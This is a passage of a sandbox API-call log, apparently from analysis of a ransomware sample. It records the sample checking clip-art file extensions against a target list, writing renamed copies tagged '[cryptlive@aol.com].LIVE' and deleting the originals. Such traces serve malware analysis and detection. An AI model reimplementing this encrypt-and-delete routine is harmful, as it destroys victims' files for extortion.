(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0141.186] lstrlenW (lpString=".dbf") returned 4 [0141.186] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0141.186] lstrlenW (lpString=".1cd") returned 4 [0141.186] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0141.186] lstrlenW (lpString=".jpg") returned 4 [0141.186] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.186] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.186] lstrlenW (lpString="DD01139_.WMF") returned 12 [0141.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0141.229] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=3632) returned 1 [0141.229] CloseHandle (hObject=0x3a4) returned 1 [0141.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x20 [0141.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0141.257] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.257] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0141.258] GetLastError () returned 0x0 [0141.258] ReadFile (in: hFile=0x36c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xe30, lpOverlapped=0x0) returned 1 [0141.379] WriteFile (in: hFile=0x390, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xe40, lpOverlapped=0x0) returned 1 [0141.380] ReadFile (in: hFile=0x36c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0141.380] WriteFile (in: hFile=0x390, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.381] SetEndOfFile (hFile=0x390) returned 1 [0141.381] CloseHandle (hObject=0x390) returned 1 [0141.381] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.381] SetEndOfFile (hFile=0x36c) returned 1 [0141.383] CloseHandle (hObject=0x36c) returned 1 [0141.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.383] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf")) returned 1 [0141.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0141.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0141.384] lstrlenW (lpString=".doc") returned 4 [0141.384] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.384] lstrlenW (lpString=".docx") returned 5 [0141.384] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.384] lstrlenW (lpString=".pdf") returned 4 [0141.384] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.384] lstrlenW (lpString=".xls") returned 4 [0141.384] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.384] lstrlenW (lpString=".xlsx") returned 5 [0141.384] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.384] lstrlenW (lpString=".ppt") returned 4 [0141.384] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0141.384] lstrlenW (lpString=".zip") returned 4 [0141.384] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.384] lstrlenW (lpString=".rar") returned 4 [0141.384] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.384] lstrlenW (lpString=".bz2") returned 4 [0141.384] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.384] lstrlenW (lpString=".7z") returned 3 [0141.384] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0141.385] lstrlenW (lpString=".dbf") returned 4 [0141.385] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0141.385] lstrlenW (lpString=".1cd") returned 4 [0141.385] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0141.385] lstrlenW (lpString=".jpg") returned 4 [0141.385] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0141.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0141.385] lstrlenW (lpString=".doc") returned 4 [0141.385] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.385] lstrlenW (lpString=".docx") returned 5 [0141.385] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.385] lstrlenW (lpString=".pdf") returned 4 [0141.385] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.385] lstrlenW (lpString=".xls") returned 4 [0141.385] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.385] lstrlenW (lpString=".xlsx") returned 5 [0141.385] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.385] lstrlenW (lpString=".ppt") returned 4 [0141.385] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0141.385] lstrlenW (lpString=".zip") returned 4 [0141.385] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.385] lstrlenW (lpString=".rar") returned 4 [0141.385] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.385] lstrlenW (lpString=".bz2") returned 4 [0141.385] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.385] lstrlenW (lpString=".7z") returned 3 [0141.385] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0141.385] lstrlenW (lpString=".dbf") returned 4 [0141.385] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0141.385] lstrlenW (lpString=".1cd") returned 4 [0141.385] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0141.386] lstrlenW (lpString=".jpg") returned 4 [0141.386] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.386] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.386] lstrlenW (lpString="DD01157_.WMF") returned 12 [0141.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.414] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=3588) returned 1 [0141.414] CloseHandle (hObject=0x1ec) returned 1 [0141.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x20 [0141.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0141.460] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.461] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0141.461] GetLastError () returned 0x0 [0141.461] ReadFile (in: hFile=0x1e4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xe04, lpOverlapped=0x0) returned 1 [0141.462] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xe10, lpOverlapped=0x0) returned 1 [0141.463] ReadFile (in: hFile=0x1e4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0141.463] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.463] SetEndOfFile (hFile=0x3a8) returned 1 [0141.464] CloseHandle (hObject=0x3a8) returned 1 [0141.464] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.464] SetEndOfFile (hFile=0x1e4) returned 1 [0141.466] CloseHandle (hObject=0x1e4) returned 1 [0141.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.466] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf")) returned 1 [0141.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0141.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0141.467] lstrlenW (lpString=".doc") returned 4 [0141.467] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.467] lstrlenW (lpString=".docx") returned 5 [0141.467] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.467] lstrlenW (lpString=".pdf") returned 4 [0141.467] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.467] lstrlenW (lpString=".xls") returned 4 [0141.467] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.467] lstrlenW (lpString=".xlsx") returned 5 [0141.467] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.467] lstrlenW (lpString=".ppt") returned 4 [0141.467] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0141.467] lstrlenW (lpString=".zip") returned 4 [0141.467] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.467] lstrlenW (lpString=".rar") returned 4 [0141.467] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.467] lstrlenW (lpString=".bz2") returned 4 [0141.468] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.468] lstrlenW (lpString=".7z") returned 3 [0141.468] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0141.468] lstrlenW (lpString=".dbf") returned 4 [0141.468] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0141.468] lstrlenW (lpString=".1cd") returned 4 [0141.468] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0141.468] lstrlenW (lpString=".jpg") returned 4 [0141.468] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0141.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0141.468] lstrlenW (lpString=".doc") returned 4 [0141.468] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.468] lstrlenW (lpString=".docx") returned 5 [0141.468] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.468] lstrlenW (lpString=".pdf") returned 4 [0141.468] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.468] lstrlenW (lpString=".xls") returned 4 [0141.468] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.468] lstrlenW (lpString=".xlsx") returned 5 [0141.468] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.468] lstrlenW (lpString=".ppt") returned 4 [0141.468] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0141.468] lstrlenW (lpString=".zip") returned 4 [0141.468] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.468] lstrlenW (lpString=".rar") returned 4 [0141.468] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.468] lstrlenW (lpString=".bz2") returned 4 [0141.468] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.468] lstrlenW (lpString=".7z") returned 3 [0141.468] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0141.468] lstrlenW (lpString=".dbf") returned 4 [0141.469] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0141.469] lstrlenW (lpString=".1cd") returned 4 [0141.469] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0141.469] lstrlenW (lpString=".jpg") returned 4 [0141.469] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.469] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.469] lstrlenW (lpString="DD01168_.WMF") returned 12 [0141.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0141.469] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=2004) returned 1 [0141.469] CloseHandle (hObject=0x1e4) returned 1 [0141.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x20 [0141.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0141.470] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.470] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0141.470] GetLastError () returned 0x0 [0141.470] ReadFile (in: hFile=0x1e4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x7d4, lpOverlapped=0x0) returned 1 [0141.502] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x7e0, lpOverlapped=0x0) returned 1 [0141.504] ReadFile (in: hFile=0x1e4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0141.505] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.505] SetEndOfFile (hFile=0x3a8) returned 1 [0141.505] CloseHandle (hObject=0x3a8) returned 1 [0141.505] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.505] SetEndOfFile (hFile=0x1e4) returned 1 [0141.510] CloseHandle (hObject=0x1e4) returned 1 [0141.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.510] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf")) returned 1 [0141.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0141.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0141.511] lstrlenW (lpString=".doc") returned 4 [0141.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.511] lstrlenW (lpString=".docx") returned 5 [0141.511] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.511] lstrlenW (lpString=".pdf") returned 4 [0141.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.511] lstrlenW (lpString=".xls") returned 4 [0141.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.511] lstrlenW (lpString=".xlsx") returned 5 [0141.511] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.511] lstrlenW (lpString=".ppt") returned 4 [0141.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0141.511] lstrlenW (lpString=".zip") returned 4 [0141.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.511] lstrlenW (lpString=".rar") returned 4 [0141.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.511] lstrlenW (lpString=".bz2") returned 4 [0141.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.511] lstrlenW (lpString=".7z") returned 3 [0141.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0141.511] lstrlenW (lpString=".dbf") returned 4 [0141.512] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0141.512] lstrlenW (lpString=".1cd") returned 4 [0141.512] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0141.512] lstrlenW (lpString=".jpg") returned 4 [0141.512] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0141.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0141.512] lstrlenW (lpString=".doc") returned 4 [0141.512] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.512] lstrlenW (lpString=".docx") returned 5 [0141.512] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.512] lstrlenW (lpString=".pdf") returned 4 [0141.512] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.512] lstrlenW (lpString=".xls") returned 4 [0141.512] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.512] lstrlenW (lpString=".xlsx") returned 5 [0141.512] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.512] lstrlenW (lpString=".ppt") returned 4 [0141.512] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0141.512] lstrlenW (lpString=".zip") returned 4 [0141.512] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.512] lstrlenW (lpString=".rar") returned 4 [0141.512] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.512] lstrlenW (lpString=".bz2") returned 4 [0141.512] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.512] lstrlenW (lpString=".7z") returned 3 [0141.512] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0141.512] lstrlenW (lpString=".dbf") returned 4 [0141.512] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0141.512] lstrlenW (lpString=".1cd") returned 4 [0141.512] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0141.512] lstrlenW (lpString=".jpg") returned 4 [0141.513] lstrcmpiW 